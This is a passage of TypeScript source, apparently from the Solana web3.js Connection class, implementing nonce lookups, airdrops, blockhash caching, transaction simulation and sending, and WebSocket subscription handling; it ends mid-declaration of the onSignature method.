/**\n * Fetch the contents of a Nonce account from the cluster, return with context\n */\n async getNonceAndContext(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceAndContextConfig,\n ): Promise<RpcResponseAndContext<NonceAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n nonceAccount,\n commitmentOrConfig,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = NonceAccount.fromAccountData(accountInfo.data);\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster\n */\n async getNonce(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceConfig,\n ): Promise<NonceAccount | null> {\n return await this.getNonceAndContext(nonceAccount, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get nonce for account ' +\n nonceAccount.toBase58() +\n ': ' +\n e,\n );\n });\n }\n\n /**\n * Request an allocation of lamports to the specified address\n *\n * ```typescript\n * import { Connection, PublicKey, LAMPORTS_PER_SOL } from \"@solana/web3.js\";\n *\n * (async () => {\n * const connection = new Connection(\"https://api.testnet.solana.com\", \"confirmed\");\n * const myAddress = new PublicKey(\"2nr1bHFT86W9tGnyvmYW4vcHKsQB3sVQfnddasz4kExM\");\n * const signature = await connection.requestAirdrop(myAddress, LAMPORTS_PER_SOL);\n * await connection.confirmTransaction(signature);\n * })();\n * ```\n */\n async requestAirdrop(\n to: PublicKey,\n lamports: number,\n ): Promise<TransactionSignature> {\n const unsafeRes = await this._rpcRequest('requestAirdrop', [\n to.toBase58(),\n lamports,\n ]);\n const res = create(unsafeRes, RequestAirdropRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `airdrop to ${to.toBase58()} failed`,\n );\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n async _blockhashWithExpiryBlockHeight(\n disableCache: boolean,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n if (!disableCache) {\n // Wait for polling to finish\n while (this._pollingBlockhash) {\n await sleep(100);\n }\n const timeSinceFetch = Date.now() - this._blockhashInfo.lastFetch;\n const expired = timeSinceFetch >= BLOCKHASH_CACHE_TIMEOUT_MS;\n if (this._blockhashInfo.latestBlockhash !== null && !expired) {\n return this._blockhashInfo.latestBlockhash;\n }\n }\n\n return await this._pollNewBlockhash();\n }\n\n /**\n * @internal\n */\n async _pollNewBlockhash(): Promise<BlockhashWithExpiryBlockHeight> {\n this._pollingBlockhash = true;\n try {\n const startTime = Date.now();\n const cachedLatestBlockhash = this._blockhashInfo.latestBlockhash;\n const cachedBlockhash = cachedLatestBlockhash\n ? cachedLatestBlockhash.blockhash\n : null;\n for (let i = 0; i < 50; i++) {\n const latestBlockhash = await this.getLatestBlockhash('finalized');\n\n if (cachedBlockhash !== latestBlockhash.blockhash) {\n this._blockhashInfo = {\n latestBlockhash,\n lastFetch: Date.now(),\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n return latestBlockhash;\n }\n\n // Sleep for approximately half a slot\n await sleep(MS_PER_SLOT / 2);\n }\n\n throw new Error(\n `Unable to obtain a new blockhash after ${Date.now() - startTime}ms`,\n );\n } finally {\n this._pollingBlockhash = false;\n }\n }\n\n /**\n * get the stake minimum delegation\n */\n async getStakeMinimumDelegation(\n config?: GetStakeMinimumDelegationConfig,\n ): Promise<RpcResponseAndContext<number>> {\n const {commitment, config: configArg} = extractCommitmentFromConfig(config);\n const args = this._buildArgs([], commitment, 'base64', configArg);\n const unsafeRes = await this._rpcRequest('getStakeMinimumDelegation', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get stake minimum delegation`,\n );\n }\n return res.result;\n }\n\n /**\n * Simulate a transaction\n *\n * @deprecated Instead, call {@link simulateTransaction} with {@link\n * VersionedTransaction} and {@link SimulateTransactionConfig} parameters\n */\n simulateTransaction(\n transactionOrMessage: Transaction | Message,\n signers?: Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n simulateTransaction(\n transaction: VersionedTransaction,\n config?: SimulateTransactionConfig,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async simulateTransaction(\n transactionOrMessage: VersionedTransaction | Transaction | Message,\n configOrSigners?: SimulateTransactionConfig | Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>> {\n if ('message' in transactionOrMessage) {\n const versionedTx = transactionOrMessage;\n const wireTransaction = versionedTx.serialize();\n const encodedTransaction =\n Buffer.from(wireTransaction).toString('base64');\n if (Array.isArray(configOrSigners) || includeAccounts !== undefined) {\n throw new Error('Invalid arguments');\n }\n\n const config: any = configOrSigners || {};\n config.encoding = 'base64';\n if (!('commitment' in config)) {\n config.commitment = this.commitment;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n throw new Error('failed to simulate transaction: ' + res.error.message);\n }\n return res.result;\n }\n\n let transaction;\n if (transactionOrMessage instanceof Transaction) {\n let originalTx: Transaction = transactionOrMessage;\n transaction = new Transaction();\n transaction.feePayer = originalTx.feePayer;\n transaction.instructions = transactionOrMessage.instructions;\n transaction.nonceInfo = originalTx.nonceInfo;\n transaction.signatures = originalTx.signatures;\n } else {\n transaction = Transaction.populate(transactionOrMessage);\n // HACK: this function relies on mutating the populated transaction\n transaction._message = transaction._json = undefined;\n }\n\n if (configOrSigners !== undefined && !Array.isArray(configOrSigners)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = configOrSigners;\n if (transaction.nonceInfo && signers) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n\n if (!signers) break;\n\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (\n !this._blockhashInfo.simulatedSignatures.includes(signature) &&\n !this._blockhashInfo.transactionSignatures.includes(signature)\n ) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.simulatedSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const message = transaction._compile();\n const signData = message.serialize();\n const wireTransaction = transaction._serialize(signData);\n const encodedTransaction = wireTransaction.toString('base64');\n const config: any = {\n encoding: 'base64',\n commitment: this.commitment,\n };\n\n if (includeAccounts) {\n const addresses = (\n Array.isArray(includeAccounts)\n ? includeAccounts\n : message.nonProgramIds()\n ).map(key => key.toBase58());\n\n config['accounts'] = {\n encoding: 'base64',\n addresses,\n };\n }\n\n if (signers) {\n config.sigVerify = true;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n let logs;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n if (logs && Array.isArray(logs)) {\n const traceIndent = '\\n ';\n const logTrace = traceIndent + logs.join(traceIndent);\n console.error(res.error.message, logTrace);\n }\n }\n\n throw new SendTransactionError({\n action: 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * Sign and send a transaction\n *\n * @deprecated Instead, call {@link sendTransaction} with a {@link\n * VersionedTransaction}\n */\n sendTransaction(\n transaction: Transaction,\n signers: Array<Signer>,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Send a signed transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n sendTransaction(\n transaction: VersionedTransaction,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Sign and send a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async sendTransaction(\n transaction: VersionedTransaction | Transaction,\n signersOrOptions?: Array<Signer> | SendOptions,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n if ('version' in transaction) {\n if (signersOrOptions && Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, signersOrOptions);\n }\n\n if (signersOrOptions === undefined || !Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = signersOrOptions;\n if (transaction.nonceInfo) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (!this._blockhashInfo.transactionSignatures.includes(signature)) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.transactionSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, options);\n }\n\n /**\n * Send a transaction that has already been signed and serialized into the\n * wire format\n */\n async sendRawTransaction(\n rawTransaction: Buffer | Uint8Array | Array<number>,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const encodedTransaction = toBuffer(rawTransaction).toString('base64');\n const result = await this.sendEncodedTransaction(\n encodedTransaction,\n options,\n );\n return result;\n }\n\n /**\n * Send a transaction that has already been signed, serialized into the\n * wire format, and encoded as a base64 string\n */\n async sendEncodedTransaction(\n encodedTransaction: string,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const config: any = {encoding: 'base64'};\n const skipPreflight = options && options.skipPreflight;\n const preflightCommitment =\n skipPreflight === true\n ? 'processed' // FIXME Remove when https://github.com/anza-xyz/agave/pull/483 is deployed.\n : (options && options.preflightCommitment) || this.commitment;\n\n if (options && options.maxRetries != null) {\n config.maxRetries = options.maxRetries;\n }\n if (options && options.minContextSlot != null) {\n config.minContextSlot = options.minContextSlot;\n }\n if (skipPreflight) {\n config.skipPreflight = skipPreflight;\n }\n if (preflightCommitment) {\n config.preflightCommitment = preflightCommitment;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('sendTransaction', args);\n const res = create(unsafeRes, SendTransactionRpcResult);\n if ('error' in res) {\n let logs = undefined;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n }\n\n throw new SendTransactionError({\n action: skipPreflight ? 'send' : 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n _wsOnOpen() {\n this._rpcWebSocketConnected = true;\n this._rpcWebSocketHeartbeat = setInterval(() => {\n // Ping server every 5s to prevent idle timeouts\n (async () => {\n try {\n await this._rpcWebSocket.notify('ping');\n // eslint-disable-next-line no-empty\n } catch {}\n })();\n }, 5000);\n this._updateSubscriptions();\n }\n\n /**\n * @internal\n */\n _wsOnError(err: Error) {\n this._rpcWebSocketConnected = false;\n console.error('ws error:', err.message);\n }\n\n /**\n * @internal\n */\n _wsOnClose(code: number) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketGeneration =\n (this._rpcWebSocketGeneration + 1) % Number.MAX_SAFE_INTEGER;\n if (this._rpcWebSocketIdleTimeout) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n }\n if (this._rpcWebSocketHeartbeat) {\n clearInterval(this._rpcWebSocketHeartbeat);\n this._rpcWebSocketHeartbeat = null;\n }\n\n if (code === 1000) {\n // explicit close, check if any subscriptions have been made since close\n this._updateSubscriptions();\n return;\n }\n\n // implicit close, prepare subscriptions for auto-reconnect\n this._subscriptionCallbacksByServerSubscriptionId = {};\n Object.entries(\n this._subscriptionsByHash as Record<SubscriptionConfigHash, Subscription>,\n ).forEach(([hash, subscription]) => {\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n });\n }\n\n /**\n * @internal\n */\n private _setSubscription(\n hash: SubscriptionConfigHash,\n nextSubscription: Subscription,\n ) {\n const prevState = this._subscriptionsByHash[hash]?.state;\n this._subscriptionsByHash[hash] = nextSubscription;\n if (prevState !== nextSubscription.state) {\n const stateChangeCallbacks =\n this._subscriptionStateChangeCallbacksByHash[hash];\n if (stateChangeCallbacks) {\n stateChangeCallbacks.forEach(cb => {\n try {\n cb(nextSubscription.state);\n // eslint-disable-next-line no-empty\n } catch {}\n });\n }\n }\n }\n\n /**\n * @internal\n */\n private _onSubscriptionStateChange(\n clientSubscriptionId: ClientSubscriptionId,\n callback: SubscriptionStateChangeCallback,\n ): SubscriptionStateChangeDisposeFn {\n const hash =\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n if (hash == null) {\n return () => {};\n }\n const stateChangeCallbacks = (this._subscriptionStateChangeCallbacksByHash[\n hash\n ] ||= new Set());\n stateChangeCallbacks.add(callback);\n return () => {\n stateChangeCallbacks.delete(callback);\n if (stateChangeCallbacks.size === 0) {\n delete this._subscriptionStateChangeCallbacksByHash[hash];\n }\n };\n }\n\n /**\n * @internal\n */\n async _updateSubscriptions() {\n if (Object.keys(this._subscriptionsByHash).length === 0) {\n if (this._rpcWebSocketConnected) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketIdleTimeout = setTimeout(() => {\n this._rpcWebSocketIdleTimeout = null;\n try {\n this._rpcWebSocket.close();\n } catch (err) {\n // swallow error if socket has already been closed.\n if (err instanceof Error) {\n console.log(\n `Error when closing socket connection: ${err.message}`,\n );\n }\n }\n }, 500);\n }\n return;\n }\n\n if (this._rpcWebSocketIdleTimeout !== null) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n this._rpcWebSocketConnected = true;\n }\n\n if (!this._rpcWebSocketConnected) {\n this._rpcWebSocket.connect();\n return;\n }\n\n const activeWebSocketGeneration = this._rpcWebSocketGeneration;\n const isCurrentConnectionStillActive = () => {\n return activeWebSocketGeneration === this._rpcWebSocketGeneration;\n };\n\n await Promise.all(\n // Don't be tempted to change this to `Object.entries`. We call\n // `_updateSubscriptions` recursively when processing the state,\n // so it's important that we look up the *current* version of\n // each subscription, every time we process a hash.\n Object.keys(this._subscriptionsByHash).map(async hash => {\n const subscription = this._subscriptionsByHash[hash];\n if (subscription === undefined) {\n // This entry has since been deleted. Skip.\n return;\n }\n switch (subscription.state) {\n case 'pending':\n case 'unsubscribed':\n if (subscription.callbacks.size === 0) {\n /**\n * You can end up here when:\n *\n * - a subscription has recently unsubscribed\n * without having new callbacks added to it\n * while the unsubscribe was in flight, or\n * - when a pending subscription has its\n * listeners removed before a request was\n * sent to the server.\n *\n * Being that nobody is interested in this\n * subscription any longer, delete it.\n */\n delete this._subscriptionsByHash[hash];\n if (subscription.state === 'unsubscribed') {\n delete this._subscriptionCallbacksByServerSubscriptionId[\n subscription.serverSubscriptionId\n ];\n }\n await this._updateSubscriptions();\n return;\n }\n await (async () => {\n const {args, method} = subscription;\n try {\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribing',\n });\n const serverSubscriptionId: ServerSubscriptionId =\n (await this._rpcWebSocket.call(method, args)) as number;\n this._setSubscription(hash, {\n ...subscription,\n serverSubscriptionId,\n state: 'subscribed',\n });\n this._subscriptionCallbacksByServerSubscriptionId[\n serverSubscriptionId\n ] = subscription.callbacks;\n await this._updateSubscriptions();\n } catch (e) {\n console.error(\n `Received ${e instanceof Error ? '' : 'JSON-RPC '}error calling \\`${method}\\``,\n {\n args,\n error: e,\n },\n );\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n await this._updateSubscriptions();\n }\n })();\n break;\n case 'subscribed':\n if (subscription.callbacks.size === 0) {\n // By the time we successfully set up a subscription\n // with the server, the client stopped caring about it.\n // Tear it down now.\n await (async () => {\n const {serverSubscriptionId, unsubscribeMethod} = subscription;\n if (\n this._subscriptionsAutoDisposedByRpc.has(serverSubscriptionId)\n ) {\n /**\n * Special case.\n * If we're dealing with a subscription that has been auto-\n * disposed by the RPC, then we can skip the RPC call to\n * tear down the subscription here.\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.delete(\n serverSubscriptionId,\n );\n } else {\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n try {\n await this._rpcWebSocket.call(unsubscribeMethod, [\n serverSubscriptionId,\n ]);\n } catch (e) {\n if (e instanceof Error) {\n console.error(`${unsubscribeMethod} error:`, e.message);\n }\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribed',\n });\n await this._updateSubscriptions();\n return;\n }\n }\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribed',\n });\n await this._updateSubscriptions();\n })();\n }\n break;\n case 'subscribing':\n case 'unsubscribing':\n break;\n }\n }),\n );\n }\n\n /**\n * @internal\n */\n private _handleServerNotification<\n TCallback extends SubscriptionConfig['callback'],\n >(\n serverSubscriptionId: ServerSubscriptionId,\n callbackArgs: Parameters<TCallback>,\n ): void {\n const callbacks =\n this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId];\n if (callbacks === undefined) {\n return;\n }\n callbacks.forEach(cb => {\n try {\n cb(\n // I failed to find a way to convince TypeScript that `cb` is of type\n // `TCallback` which is certainly compatible with `Parameters<TCallback>`.\n // See https://github.com/microsoft/TypeScript/issues/47615\n // @ts-ignore\n ...callbackArgs,\n );\n } catch (e) {\n console.error(e);\n }\n });\n }\n\n /**\n * @internal\n */\n _wsOnAccountNotification(notification: object) {\n const {result, subscription} = create(\n notification,\n AccountNotificationResult,\n );\n this._handleServerNotification<AccountChangeCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n private _makeSubscription(\n subscriptionConfig: SubscriptionConfig,\n /**\n * When preparing `args` for a call to `_makeSubscription`, be sure\n * to carefully apply a default `commitment` property, if necessary.\n *\n * - If the user supplied a `commitment` use that.\n * - Otherwise, if the `Connection::commitment` is set, use that.\n * - Otherwise, set it to the RPC server default: `finalized`.\n *\n * This is extremely important to ensure that these two fundamentally\n * identical subscriptions produce the same identifying hash:\n *\n * - A subscription made without specifying a commitment.\n * - A subscription made where the commitment specified is the same\n * as the default applied to the subscription above.\n *\n * Example; these two subscriptions must produce the same hash:\n *\n * - An `accountSubscribe` subscription for `'PUBKEY'`\n * - An `accountSubscribe` subscription for `'PUBKEY'` with commitment\n * `'finalized'`.\n *\n * See the 'making a subscription with defaulted params omitted' test\n * in `connection-subscriptions.ts` for more.\n */\n args: IWSRequestParams,\n ): ClientSubscriptionId {\n const clientSubscriptionId = this._nextClientSubscriptionId++;\n const hash = fastStableStringify([subscriptionConfig.method, args]);\n const existingSubscription = this._subscriptionsByHash[hash];\n if (existingSubscription === undefined) {\n this._subscriptionsByHash[hash] = {\n ...subscriptionConfig,\n args,\n callbacks: new Set([subscriptionConfig.callback]),\n state: 'pending',\n };\n } else {\n existingSubscription.callbacks.add(subscriptionConfig.callback);\n }\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId] = hash;\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ] = async () => {\n delete this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n delete this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n const subscription = this._subscriptionsByHash[hash];\n assert(\n subscription !== undefined,\n `Could not find a \\`Subscription\\` when tearing down client subscription #${clientSubscriptionId}`,\n );\n subscription.callbacks.delete(subscriptionConfig.callback);\n await this._updateSubscriptions();\n };\n this._updateSubscriptions();\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked whenever the specified account changes\n *\n * @param publicKey Public key of the account to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n config?: AccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in an {@link AccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitmentOrConfig?: Commitment | AccountSubscriptionConfig,\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64',\n config,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'accountSubscribe',\n unsubscribeMethod: 'accountUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'account change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnProgramAccountNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n ProgramAccountNotificationResult,\n );\n this._handleServerNotification<ProgramAccountChangeCallback>(subscription, [\n {\n accountId: result.value.pubkey,\n accountInfo: result.value.account,\n },\n result.context,\n ]);\n }\n\n /**\n * Register a callback to be invoked whenever accounts owned by the\n * specified program change\n *\n * @param programId Public key of the program to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n config?: ProgramAccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in a {@link ProgramAccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitment?: Commitment,\n filters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitmentOrConfig?: Commitment | ProgramAccountSubscriptionConfig,\n maybeFilters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64' /* encoding */,\n config\n ? config\n : maybeFilters\n ? {filters: applyDefaultMemcmpEncodingToFilters(maybeFilters)}\n : undefined /* extra */,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'programSubscribe',\n unsubscribeMethod: 'programUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeProgramAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'program account change',\n );\n }\n\n /**\n * Registers a callback to be invoked whenever logs are emitted.\n */\n onLogs(\n filter: LogsFilter,\n callback: LogsCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [typeof filter === 'object' ? {mentions: [filter.toString()]} : filter],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n return this._makeSubscription(\n {\n callback,\n method: 'logsSubscribe',\n unsubscribeMethod: 'logsUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister a logs callback.\n *\n * @param clientSubscriptionId client subscription id to deregister.\n */\n async removeOnLogsListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(clientSubscriptionId, 'logs');\n }\n\n /**\n * @internal\n */\n _wsOnLogsNotification(notification: Object) {\n const {result, subscription} = create(notification, LogsNotificationResult);\n this._handleServerNotification<LogsCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n _wsOnSlotNotification(notification: Object) {\n const {result, subscription} = create(notification, SlotNotificationResult);\n this._handleServerNotification<SlotChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot changes\n *\n * @param callback Function to invoke whenever the slot changes\n * @return subscription id\n */\n onSlotChange(callback: SlotChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotSubscribe',\n unsubscribeMethod: 'slotUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnSlotUpdatesNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SlotUpdateNotificationResult,\n );\n this._handleServerNotification<SlotUpdateCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot updates. {@link SlotUpdate}'s\n * may be useful to track live progress of a cluster.\n *\n * @param callback Function to invoke whenever the slot updates\n * @return subscription id\n */\n onSlotUpdate(callback: SlotUpdateCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotsUpdatesSubscribe',\n unsubscribeMethod: 'slotsUpdatesUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot update notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotUpdateListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot update',\n );\n }\n\n /**\n * @internal\n */\n\n private async _unsubscribeClientSubscription(\n clientSubscriptionId: ClientSubscriptionId,\n subscriptionName: string,\n ) {\n const dispose =\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n if (dispose) {\n await dispose();\n } else {\n console.warn(\n 'Ignored unsubscribe request because an active subscription with id ' +\n `\\`${clientSubscriptionId}\\` for '${subscriptionName}' events ` +\n 'could not be found.',\n );\n }\n }\n\n _buildArgs(\n args: Array<any>,\n override?: Commitment,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment || encoding || extra) {\n let options: any = {};\n if (encoding) {\n options.encoding = encoding;\n }\n if (commitment) {\n options.commitment = commitment;\n }\n if (extra) {\n options = Object.assign(options, extra);\n }\n args.push(options);\n }\n return args;\n }\n\n /**\n * @internal\n */\n _buildArgsAtLeastConfirmed(\n args: Array<any>,\n override?: Finality,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment && !['confirmed', 'finalized'].includes(commitment)) {\n throw new Error(\n 'Using Connection with default commitment: `' +\n this._commitment +\n '`, but method requires at least `confirmed`',\n );\n }\n return this._buildArgs(args, override, encoding, extra);\n }\n\n /**\n * @internal\n */\n _wsOnSignatureNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SignatureNotificationResult,\n );\n if (result.value !== 'receivedSignature') {\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.add(subscription);\n }\n this._handleServerNotification<SignatureSubscriptionCallback>(\n subscription,\n result.value === 'receivedSignature'\n ? [{type: 'received'}, result.context]\n : [{type: 'status', result: result.value}, result.context],\n );\n }\n\n /**\n * Register a callback to be invoked upon signature updates\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param commitment Specify the commitment level signature must reach before notification\n * @return subscription id\n */\n onSignature(\n signature: TransactionSignature,\n 